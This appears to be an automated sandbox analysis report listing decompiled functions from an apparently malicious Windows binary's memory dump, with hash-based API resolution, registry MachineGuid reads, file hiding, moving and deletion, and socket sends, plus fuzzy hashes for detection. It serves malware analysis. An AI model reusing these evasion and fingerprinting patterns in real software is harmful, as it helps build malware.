Uniqueness

Uniqueness Score: -1.00%

Function 00406086, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406086(void* _a4, union _TOKEN_INFORMATION_CLASS _a8, void* _a12, long _a16, DWORD* _a20) {
				int _t7;
				void* _t8;

				E004031E5(_t8, 9, 0xecae3497, 0, 0);
				_t7 = GetTokenInformation(_a4, _a8, _a12, _a16, _a20); // executed
				return _t7;
			}

0x00406094
0x004060a8
0x004060ab

APIs

GetTokenInformation.KERNELBASE(?,00000000,00000001,?,004062B4,00000009,ECAE3497,00000000,00000000,IDA,004062B4,IDA,00000001,00000000,?,?), ref: 004060A8

Strings

IDA, xrefs: 00406086

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InformationToken
String ID: IDA
API String ID: 4114910276-365204570
Opcode ID: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction ID: 313645685f6ff1854c13b9bf72d10cc52e042395484f5c11e0c3c7a214e99d66
Opcode Fuzzy Hash: 947dba5d192e13df99ca19526492baac9a77df32751a8a878116f3f8cb9ab45e
Instruction Fuzzy Hash: F4D0C93214020DBFEF025EC1DC02F993F2AAB08754F008410BB18280E1D6B39670AB95

Uniqueness

Uniqueness Score: -1.00%

Function 00402C03, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C03(struct HINSTANCE__* _a4, char _a8) {
				_Unknown_base(*)()* _t5;
				void* _t6;

				E004031E5(_t6, 0, 0xceb18abc, 0, 0);
				_t1 =  &_a8; // 0x403173
				_t5 = GetProcAddress(_a4,  *_t1); // executed
				return _t5;
			}

0x00402c10
0x00402c15
0x00402c1b
0x00402c1e

APIs

GetProcAddress.KERNELBASE(?,s1@,00000000,CEB18ABC,00000000,00000000,?,00403173,?,00000000), ref: 00402C1B

Strings

s1@, xrefs: 00402C15

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc
String ID: s1@
API String ID: 190572456-427247929
Opcode ID: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction ID: 1fbf97b0b55819c82851c7ea3a697f1c0796d20c97a22cfecd58a5260392007e
Opcode Fuzzy Hash: 111d3fe3cf3de278b88478875a5240f52c9cc91b538b26207c7303d9e6a3f6a3
Instruction Fuzzy Hash: A5C048B10142087EAE016EE19C05CBB3F5EEA44228B008429BD18E9122EA3ADE2066A4

Uniqueness

Uniqueness Score: -1.00%

Function 00404A52, Relevance: 3.1, APIs: 2, Instructions: 63
registryCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00404A52(void* _a4, char* _a8, char* _a12) {
				void* _v8;
				int _v12;
				void* __ebx;
				char* _t10;
				long _t13;
				char* _t27;

				_push(_t21);
				_t27 = E00402B7C(0x208);
				if(_t27 == 0) {
					L4:
					_t10 = 0;
				} else {
					E00402B4E(_t27, 0, 0x208);
					_v12 = 0x208;
					E004031E5(0, 9, 0xf4b4acdc, 0, 0);
					_t13 = RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v8); // executed
					if(_t13 != 0) {
						E00402BAB(_t27);
						goto L4;
					} else {
						E004031E5(0, 9, 0xfe9f661a, 0, 0);
						RegQueryValueExA(_v8, _a12, 0, 0, _t27,  &_v12); // executed
						E00404A39(_v8); // executed
						_t10 = _t27;
					}
				}
				return _t10;
			}

0x00404a56
0x00404a65
0x00404a6a
0x00404ad1
0x00404ad1
0x00404a6c
0x00404a71
0x00404a79
0x00404a85
0x00404a9a
0x00404a9e
0x00404acb
0x00000000
0x00404aa0
0x00404aac
0x00404abc
0x00404ac1
0x00404ac6
0x00404ac6
0x00404a9e
0x00404ad9

APIs

Part of subcall function 00402B7C: GetProcessHeap.KERNEL32(00000000,?,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E), ref: 00402B85
Part of subcall function 00402B7C: RtlAllocateHeap.NTDLL(00000000,?,?,0040328C,000001E0,?,?,?,0040320D,?,?,?,00413864,00000000,EEF0D05E,00000000), ref: 00402B8C

RegOpenKeyExA.KERNELBASE(00000032,?,00000000,00020119,00000000,00000009,F4B4ACDC,00000000,00000000,MachineGuid,00000032,00000000,00413DA5,00413987), ref: 00404A9A
RegQueryValueExA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000009,00000009,FE9F661A,00000000,00000000), ref: 00404ABC

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$AllocateOpenProcessQueryValue
String ID:
API String ID: 1425999871-0
Opcode ID: d488a9f9e3e4912de19e98427526cb377b3f09abeed86899b322f2e70aeae98a
Instruction ID: c751ae4fb1a51baa23b068920df28fa5e45e9ad9ad003da97b765f6d6e9ada80
Opcode Fuzzy Hash: d488a9f9e3e4912de19e98427526cb377b3f09abeed86899b322f2e70aeae98a
Instruction Fuzzy Hash: A301B1B264010C7EEB01AED69C86DBF7B2DDB81798B10003EF60475182EAB59E1156B9

Uniqueness

Uniqueness Score: -1.00%

Function 00402BAB, Relevance: 3.0, APIs: 2, Instructions: 11
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BAB(void* _a4) {
				void* _t3;
				char _t5;

				if(_a4 != 0) {
					_t5 = RtlFreeHeap(GetProcessHeap(), 0, _a4); // executed
					return _t5;
				}
				return _t3;
			}

0x00402bb2
0x00402bc0
0x00000000
0x00402bc0
0x00402bc7

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402BB9
RtlFreeHeap.NTDLL(00000000), ref: 00402BC0

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction ID: 8dd5a347e09044be93d5ac0bfd75615970d35e99714971ab129ae27a0189db5c
Opcode Fuzzy Hash: 0ab6f2dbedfa6cb862415dde11aab857cc1d2c8de5bdcfad433bf240e63de12c
Instruction Fuzzy Hash: 7FC01235000A08EBCB001FD0E90CBE93F6CAB8838AF808020B60C480A0C6B49090CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 004060BD, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004060BD(void* __eflags) {
				signed int _v8;
				char _v12;
				short _v16;
				char _v20;
				void* __ebx;
				intOrPtr* _t12;
				signed int _t13;
				intOrPtr* _t14;
				signed int _t15;
				void* _t24;

				_v16 = 0x500;
				_v20 = 0;
				_t12 = E004031E5(0, 9, 0xf3a0c470, 0, 0);
				_t13 =  *_t12( &_v20, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v12);
				_v8 = _t13;
				if(_t13 != 0) {
					_t14 = E004031E5(0, 9, 0xe3b938df, 0, 0);
					_t15 =  *_t14(0, _v12,  &_v8, _t24); // executed
					asm("sbb eax, eax");
					_v8 = _v8 &  ~_t15;
					E0040604F(_v12);
					return _v8;
				}
				return _t13;
			}

0x004060c6
0x004060d5
0x004060d8
0x004060f4
0x004060f6
0x004060fb
0x0040610a
0x00406115
0x0040611c
0x0040611e
0x00406121
0x00000000
0x0040612a
0x0040612f

APIs

CheckTokenMembership.KERNELBASE(00000000,00000000,00000000,00000009,E3B938DF,00000000,00000000,00000001), ref: 00406115

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CheckMembershipToken
String ID:
API String ID: 1351025785-0
Opcode ID: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction ID: 8b780b9e56efd5f2a9a2252a5f210822aeafba94d0ba5a8497d60ad8274f78a0
Opcode Fuzzy Hash: 4a43c4ed47dff20a0e63da0344eb6b70d0e7b4795f78c2e23bdd5dfdab477f71
Instruction Fuzzy Hash: 7801867195020DBEEB00EBE59C86EFFB77CEF08208F100569B515B60C2EA75AF008764

Uniqueness

Uniqueness Score: -1.00%

Function 00403C62, Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C62(void* __ebx, void* __eflags, WCHAR* _a4) {
				void* _t3;
				int _t5;

				_t3 = E00403D4D(__eflags, _a4); // executed
				if(_t3 == 0) {
					__eflags = 0;
					E004031E5(__ebx, 0, 0xc8f0a74d, 0, 0);
					_t5 = CreateDirectoryW(_a4, 0); // executed
					return _t5;
				} else {
					return 1;
				}
			}

0x00403c68
0x00403c70
0x00403c78
0x00403c82
0x00403c8b
0x00403c8f
0x00403c72
0x00403c76
0x00403c76

APIs

CreateDirectoryW.KERNELBASE(00413D1F,00000000,00000000,C8F0A74D,00000000,00000000,00000000,?,00413D1F,00000000), ref: 00403C8B

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction ID: 8def336d827aa123259dd30fe2d1f4df156212ecddfe904d71fbacf529eca846
Opcode Fuzzy Hash: d413ab25134c4b1c761ae7c40b175d3f6038492197e92d4c0305fa2d5b60993a
Instruction Fuzzy Hash: 47D05E320450687A9A202AA7AC08CDB3E0DDE032FA7004036B81CE4052DB26861191E4

Uniqueness

Uniqueness Score: -1.00%

Function 0040642C, Relevance: 1.5, APIs: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040642C(void* __eflags) {
				short _v40;
				intOrPtr* _t6;
				void* _t10;

				_t6 = E004031E5(_t10, 0, 0xe9af4586, 0, 0);
				 *_t6( &_v40); // executed
				return 0 | _v40 == 0x00000009;
			}

0x0040643c
0x00406445
0x00406454

APIs

GetNativeSystemInfo.KERNELBASE(?,00000000,E9AF4586,00000000,00000000,?,?,?,?,004144CF,00000000,00000000,00000000,00000000), ref: 00406445

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction ID: 89a273ea7bbabd9d74fc824e7d15e3b55fbc967ee531cdb223f62f0d5b23fb21
Opcode Fuzzy Hash: 18b792e9f3ed795f2423495cf2abf5b642ecf28d7d26812d11fe043f37d9eb75
Instruction Fuzzy Hash: 60D0C9969142082A9B24FEB14E49CBB76EC9A48104B400AA8FC05E2180FD6ADF5482A5

Uniqueness

Uniqueness Score: -1.00%

Function 00404EEA, Relevance: 1.5, APIs: 1, Instructions: 16
networkCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00404EEA(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _t5;

				_t5 = _a12;
				if(_t5 == 0) {
					_t5 = E00405D0B(_a8) + 1;
				}
				__imp__#19(_a4, _a8, _t5, 0); // executed
				return _t5;
			}

0x00404eed
0x00404ef2
0x00404efd
0x00404efd
0x00404f07
0x00404f0e

APIs

send.WS2_32(00000000,00000000,00000000,00000000), ref: 00404F07

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction ID: 973ad19c2726000f66dbac5dad6f1ecaf56acd36cc9bde1755ab86a88c27f217
Opcode Fuzzy Hash: f5f37575630baef1eb429ccea87373dc8bd2737f5fb4b11d46726e1bb86e5636
Instruction Fuzzy Hash: F8D09231140209BBEF016E55EC05BAA3B69EF44B54F10C026BA18991A1DB31A9219A98

Uniqueness

Uniqueness Score: -1.00%

Function 00403BD0, Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BD0(WCHAR* _a4, WCHAR* _a8, long _a12) {
				int _t6;
				void* _t7;

				E004031E5(_t7, 0, 0xc9143177, 0, 0);
				_t6 = MoveFileExW(_a4, _a8, _a12); // executed
				return _t6;
			}

0x00403bdd
0x00403beb
0x00403bee

APIs

MoveFileExW.KERNELBASE(00000000,00412C16,?,00000000,C9143177,00000000,00000000,?,004040B6,00000000,00412C16,00000001,?,00412C16,00000000,00000000), ref: 00403BEB

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileMove
String ID:
API String ID: 3562171763-0
Opcode ID: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction ID: 27267517ebbd606c040c475238707358b0366275ca1c9c11413b547716cf2561
Opcode Fuzzy Hash: 7a0bb135e6e1f0606704ed46507384a8cac74e7a8e8860f1f6d7d5715d4ca302
Instruction Fuzzy Hash: 5AC04C7500424C7FEF026EF19D05C7B3F5EEB49618F448825BD18D5421DA37DA216664

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF3, Relevance: 1.5, APIs: 1, Instructions: 13networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 00404E08

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction ID: edfb6e6a7b2c2d2c81179f298452045bbfcf768a57aceb16f5d93ae35c4528ea
Opcode Fuzzy Hash: aec8cb7098972fa6752499418e154eb0e8b54166df737fc870e0652f0f0fb75e
Instruction Fuzzy Hash: 6EC08C32AA421C9FD750AAB8AD0FAF0B7ACD30AB02F0002B56E1DC60C1E550582906E2

Uniqueness

Uniqueness Score: -1.00%

Function 0040427D, Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040427D(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xcac5886e, 0, 0);
				_t4 = SetFileAttributesW(_a4, 0x2006); // executed
				return _t4;
			}

0x0040428a
0x00404297
0x0040429a

APIs

SetFileAttributesW.KERNELBASE(00000000,00002006,00000000,CAC5886E,00000000,00000000,?,00412C3B,00000000,00000000,?), ref: 00404297

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction ID: e837d3b0865cda380a04769d40cc561620ee701a25bf2a33446201ee5459e2a9
Opcode Fuzzy Hash: 8dd52a8075b7bef316d0fc581140073ef821e073e46509cdb91d5efed9f2b539
Instruction Fuzzy Hash: A9C092B054430C3EFA102EF29D4AD3B3A8EEB41648B008435BE08E9096E977DE2061A8

Uniqueness

Uniqueness Score: -1.00%

Function 00404A19, Relevance: 1.5, APIs: 1, Instructions: 13
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404A19(void* _a4, short* _a8, void** _a12) {
				long _t5;
				void* _t6;

				E004031E5(_t6, 9, 0xdb552da5, 0, 0);
				_t5 = RegOpenKeyW(_a4, _a8, _a12); // executed
				return _t5;
			}

0x00404a27
0x00404a35
0x00404a38

APIs

RegOpenKeyW.ADVAPI32(?,?,?,00000009,DB552DA5,00000000,00000000), ref: 00404A35

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction ID: b1d3f25f69c2166d3d07fcddbc0993e3b6974a4a806b5379996ceb22213e89af
Opcode Fuzzy Hash: 878e79dc60d56a32ccce77cf818dc40cd176942d244c38d6301a2c771aeba921
Instruction Fuzzy Hash: 5BC012311802087FFF012EC1CC02F483E1AAB08B55F044011BA18280E1EAB3A2205658

Uniqueness

Uniqueness Score: -1.00%

Function 00403C40, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C40(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xfbce7a42, 0, 0);
				_t4 = FindCloseChangeNotification(_a4); // executed
				return _t4;
			}

0x00403c4d
0x00403c55
0x00403c58

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,FBCE7A42,00000000,00000000,?,00404344,00000000,?,?,004146E2,00000000,00000000,?,00000000,00000000), ref: 00403C55

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction ID: f60e35b61e15034c3e7e350ceef27d37971f1a6745175d5827dd76012fe363c0
Opcode Fuzzy Hash: 67fd61e36e72385b159b193fd7e1560e83aa445b7d913ea69a34d34039b65f78
Instruction Fuzzy Hash: 70B092B01182087EAE006AF29C05C3B3E4ECA4060874094267C08E5451F937DF2014B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403C08, Relevance: 1.5, APIs: 1, Instructions: 12
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403C08(WCHAR* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xdeaa357b, 0, 0);
				_t4 = DeleteFileW(_a4); // executed
				return _t4;
			}

0x00403c15
0x00403c1d
0x00403c20

APIs

DeleteFileW.KERNELBASE(?,00000000,DEAA357B,00000000,00000000), ref: 00403C1D

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction ID: 5639c68ad781144a2d68ff400f656d3d2c658e81fc8059c2e96e04b5885f7932
Opcode Fuzzy Hash: 01b23650ea3b3ad0b7ef3e64b7b20365c040140a899dd4cba48e3dfa7394e9f1
Instruction Fuzzy Hash: EDB092B04082093EAA013EF59C05C3B3E4DDA4010870048257D08E6111EA36DF1010A8

Uniqueness

Uniqueness Score: -1.00%

Function 00402C1F, Relevance: 1.5, APIs: 1, Instructions: 12
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402C1F(WCHAR* _a4) {
				struct HINSTANCE__* _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xe811e8d4, 0, 0);
				_t4 = LoadLibraryW(_a4); // executed
				return _t4;
			}

0x00402c2c
0x00402c34
0x00402c37

APIs

LoadLibraryW.KERNELBASE(?,00000000,E811E8D4,00000000,00000000), ref: 00402C34

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction ID: cd53f9395925d29cf68d66af6aae64644fca58afce9bbcd5edfe8b9605b00cd0
Opcode Fuzzy Hash: af34b662912c89fdb3a0f1b9ff73cd040c3e05ef601eeab43baa4f39a88cbda5
Instruction Fuzzy Hash: C9B092B00082083EAA002EF59C05C7F3A4DDA4410874044397C08E5411F937DE1012A5

Uniqueness

Uniqueness Score: -1.00%

Function 00403BEF, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BEF(void* _a4) {
				int _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xda6ae59a, 0, 0);
				_t4 = FindClose(_a4); // executed
				return _t4;
			}

0x00403bfc
0x00403c04
0x00403c07

APIs

FindClose.KERNELBASE(00403F8D,00000000,DA6AE59A,00000000,00000000,?,00403F8D,00000000), ref: 00403C04

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction ID: 1ebc74916e7009c76bd4f38d62a0f1d2d6d24e136e2668fcc01a71b48f24aa02
Opcode Fuzzy Hash: 9873c53fda05388afb850746851f5e32e8254642b63e91831ef49aacf0f87411
Instruction Fuzzy Hash: FDB092B00442087EEE002EF1AC05C7B3F4EDA4410970044257E0CE5012E937DF1010B4

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB7, Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403BB7(WCHAR* _a4) {
				long _t4;
				void* _t5;

				E004031E5(_t5, 0, 0xc6808176, 0, 0);
				_t4 = GetFileAttributesW(_a4); // executed
				return _t4;
			}

0x00403bc4
0x00403bcc
0x00403bcf

APIs

GetFileAttributesW.KERNELBASE(00413D1F,00000000,C6808176,00000000,00000000,?,00403D58,00413D1F,?,00403C6D,00413D1F,?,00413D1F,00000000), ref: 00403BCC

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction ID: 12c622a32f4ce0ce5baf48af10e49973588d22e73ecb696d4958cc4f11b8a016
Opcode Fuzzy Hash: 1d6dd25f7c332fd1d35fbf5985813ee51de81cf8f6e5d0f963c2f0c9ec148b39
Instruction Fuzzy Hash: D2B092B05042083EAE012EF19C05C7B3A6DCA40148B4088297C18E5111ED36DE5050A4

Uniqueness

Uniqueness Score: -1.00%

Function 004049FF, Relevance: 1.5, APIs: 1, Instructions: 11
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004049FF(void* _a4) {
				long _t3;
				void* _t4;

				E004031E5(_t4, 9, 0xd980e875, 0, 0);
				_t3 = RegCloseKey(_a4); // executed
				return _t3;
			}

0x00404a0d
0x00404a15
0x00404a18

APIs

RegCloseKey.KERNELBASE(00000000,00000009,D980E875,00000000,00000000,?,00404A44,?,?,00404AC6,?), ref: 00404A15

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction ID: 75bcc15c4d71fff8019d16f1d9debb39272117f3de5fdcc107556e34aff8dcac
Opcode Fuzzy Hash: a61027cf4d9072e61279d4b4f16a9571f3d05446971c54f2b184413104fd85b7
Instruction Fuzzy Hash: 7CC092312843087AEA102AE2EC0BF093E0D9B41F98F500025B61C3C1D2E9E3E6100099

Uniqueness

Uniqueness Score: -1.00%

Function 00403B64, Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403B64(WCHAR* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 2, 0xdc0853e1, 0, 0);
				_t3 = PathFileExistsW(_a4); // executed
				return _t3;
			}

0x00403b72
0x00403b7a
0x00403b7d

APIs

PathFileExistsW.KERNELBASE(?,00000002,DC0853E1,00000000,00000000), ref: 00403B7A

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction ID: 8bd75bc93bbce64143a6918826fd0663652f5dbe7ab318808702af7ec0dd126f
Opcode Fuzzy Hash: 79b415000e3dec3248a6d2155c6771fe406342b29d1d2faf8e1af97ba013cdd8
Instruction Fuzzy Hash: F4C0923028830C3BF9113AD2DC47F197E8D8B41B99F104025B70C3C4D2D9E3A6100199

Uniqueness

Uniqueness Score: -1.00%

Function 00404DE5, Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

closesocket.WS2_32(00404EB0), ref: 00404DEB

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction ID: a7719220e23c04317d26723f710bfa070304820e6d91f105ed764937a1a9d613
Opcode Fuzzy Hash: 887654383893d56b64fc04469bc98b787ac4c367861e76a9ad562a01a17cc3aa
Instruction Fuzzy Hash: F4A0113000020CEBCB002B82EE088C83F2CEA882A0B808020F80C00020CB22A8208AC8

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9E, Relevance: 1.3, APIs: 1, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F9E(void* _a4) {
				int _t3;
				void* _t4;

				E004031E5(_t4, 0, 0xf53ecacb, 0, 0);
				_t3 = VirtualFree(_a4, 0, 0x8000); // executed
				return _t3;
			}

0x00403fac
0x00403fba
0x00403fbe

APIs

VirtualFree.KERNELBASE(0041028C,00000000,00008000,00000000,F53ECACB,00000000,00000000,00000000,?,0041028C,00000000), ref: 00403FBA

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction ID: 31a36aa897feec3f2575a3818ba469950b8b51fe97d839facc05156de448dee4
Opcode Fuzzy Hash: 4437192c676a59da206b473fb72d9d26ef1781d862ceba0a26f5730449a5d479
Instruction Fuzzy Hash: 9CC08C3200613C32893069DBAC0AFCB7E0CDF036F4B104021F50C6404049235A0186F8

Uniqueness

Uniqueness Score: -1.00%

Function 00406472, Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406472(long _a4) {
				void* _t3;
				void* _t4;

				_t3 = E004031E5(_t4, 0, 0xcfa329ad, 0, 0);
				Sleep(_a4); // executed
				return _t3;
			}

0x0040647f
0x00406487
0x0040648a

APIs

Sleep.KERNELBASE(?,00000000,CFA329AD,00000000,00000000), ref: 00406487

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction ID: 8d08050a97d9600d7c0dbf2a5018eca7d85037e123ae0040efa9f3f0a7dd9c36
Opcode Fuzzy Hash: 1807eaeb392d941871dd7f4dce37bd4a7f558bd6a955fa7349a6f4d515d7796f
Instruction Fuzzy Hash: FBB092B08082083EEA002AF1AD05C3B7A8DDA4020870088257C08E5011E93ADE1150B9

Uniqueness

Uniqueness Score: -1.00%

Function 004058EA, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004058EA(char* _a4, char* _a8) {
				char* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xc5c16604, 0, 0);
				_t4 = StrStrA(_a4, _a8); // executed
				return _t4;
			}

0x004058f8
0x00405903
0x00405906

APIs

StrStrA.KERNELBASE(?,?,00000002,C5C16604,00000000,00000000), ref: 00405903

Memory Dump Source

Source File: 0000000B.00000002.608733744.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction ID: d5512459148ba4630ff55d530b0b04b7b8071b1588054f6e556ec5c474e97d6d
Opcode Fuzzy Hash: 042642b6324743061f7cb6dcc4248db4a99ff7c1e794a59b5538058313c095a3
Instruction Fuzzy Hash: 82C04C3118520876EA112AD19C07F597E1D9B45B68F108425BA1C6C4D19AB3A6505559

Uniqueness

Uniqueness Score: -1.00%

Function 00405924, Relevance: 1.3, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405924(WCHAR* _a4, WCHAR* _a8) {
				WCHAR* _t4;
				void* _t5;

				E004031E5(_t5, 2, 0xd6865bd4, 0, 0);
				_t4 = StrStrW(_a4, _a8); // executed
				return _t4;
			}
